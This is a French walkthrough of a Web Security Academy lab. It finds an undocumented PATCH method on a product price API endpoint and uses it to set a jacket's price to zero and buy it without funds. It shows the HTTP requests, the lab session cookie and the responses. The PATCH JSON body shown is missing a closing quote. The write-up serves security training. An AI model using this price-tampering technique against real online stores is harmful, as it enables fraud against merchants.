Découverte et exploitation d’un endpoint API non utilisé

Finding and exploiting an unused API endpoint

Lab: Finding and exploiting an unused API endpoint | Web Security AcademyWebSecAcademy

L’objectif de ce laboratoire est d’exploiter un endpoint API caché afin d’acheter une Lightweight l33t Leather Jacket sans disposer de fonds suffisants. L’authentification se fait avec les identifiants suivants :

• Utilisateur : wiener

• Mot de passe : peter

Une fois connecté, on constate que le solde du compte est de 0 $.

Analyse du comportement de l’application

Lors de la consultation du produit, l’application envoie en arrière-plan une requête API pour récupérer son prix.

Requête utilisée pour afficher le prix

GET /api/products/1/price

Réponse du serveur

{
    "price":"$1337.00",
    "message":"🔥 21 left in stock, purchase quick! 🔥"
}

Identification des méthodes HTTP disponibles

Une requête OPTIONS est envoyée afin d’identifier les méthodes autorisées sur cet endpoint.

Requête OPTIONS

OPTIONS /api/products/1/price 

Réponse

Le serveur indique que les méthodes suivantes sont autorisées :

• GET

• PATCH

Cela suggère qu’il est possible de modifier le prix du produit via une requête PATCH.

Modification du prix via PATCH

On tente alors d’actualiser le prix du produit en envoyant une requête PATCH avec un corps JSON.

Requête PATCH

PATCH /api/products/1/price
Host: 0abf000d04bd41568210d495001c000a.web-security-academy.net

Cookie: session=Ts7jyHfXOEyXqURmpAKf0SgO8DjhQYol

Content-Type: application/json

Content-Length: 22



{

	"price": "0

}

Réponse du serveur

HTTP/2 200 OK

Content-Type: application/json; charset=utf-8

X-Frame-Options: SAMEORIGIN

Content-Length: 17



{
    "price":"$0.00"
}

Le prix du produit est désormais fixé à 0 $.

Achat du produit

Une fois le prix modifié, il est possible d’acheter la Lightweight l33t Leather Jacket malgré l’absence de crédit sur le compte, ce qui permet de valider le laboratoire.